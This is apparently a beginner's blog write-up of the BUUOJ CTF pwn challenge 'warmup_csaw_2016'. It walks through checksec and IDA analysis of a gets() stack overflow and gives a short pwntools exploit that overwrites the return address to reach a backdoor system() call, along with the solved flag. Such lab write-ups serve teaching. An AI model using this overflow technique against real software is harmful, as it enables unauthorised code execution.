CTF buuoj pwn-----第3题:warmup_csaw_2016

前言

记录一下pwn的过程 同第1、2题一样,新手学习日记,流水线记录.
打开题目, 连接靶机,下载文件’warmup_csaw_2016’

在这里插入图片描述


一、checkesc ,检测文件的保护机制

bing@bing-virtual-machine:~$ checksec ./warmup_csaw_2016
[*] '/home/bing/warmup_csaw_2016'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x400000)
    RWX:      Has RWX segments

从图上可以看出它是一个64位程序,仅开启了栈不可执行保护, 没有打开NX防护(堆栈可执行),No PIE.
这里可以对比一下第1题:https://blog.csdn.net/bing_Max/article/details/119947896
可猜测为 溢出漏洞.,

二、静态分析,IDA打开文件

IDA打开文件warmup_csaw_2016

  • 按下shift+f12,打开string window
    发现 cat flag.txt

在这里插入图片描述

  • 双击cat flag.txt, 点击command, 点击X, 发现cat flag.txt的address在可疑函数sub_40060D里

在这里插入图片描述

  • 按下f5,发现int sub_40060D()函数就是一个简单的system()函数,这个函数的作用就是输出flag的文件信息.
    在这里插入图片描述
  • 这就找到解题思路: 想办法触发后门函数sub_40060(),记下次函数地址为0x40060D
    在这里插入图片描述
  • 回到主函数,看到危险函数gets(), 这就明确了是栈溢出的题目

在这里插入图片描述

在这里插入图片描述

  • 双击v5,v5 64db ,再加上r(返回地址)8个字节,所以要达到溢出,需要总长度为72 db

三. 编写exploit

from pwn import *  

sh = remote('node4.buuoj.cn', 28978)
payload = b'a'*72+p64(0x40060D) 
sh.sendline(payload)

sh.interactive()

四. 运行EXP, 获取flag

bing@bing-virtual-machine:~/pwn$ python3  ./warmup_csaw_2016.py
[+] Opening connection to node4.buuoj.cn on port 28978: Done
[*] Switching to interactive mode
-Warm Up-
WOW:0x40060d
>flag{32892a46-9853-424a-a09a-cbaf5820ce47}
timeout: the monitored command dumped core
[*] Got EOF while reading in interactive

flag{32892a46-9853-424a-a09a-cbaf5820ce47}


  • 3
    点赞
  • 8
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值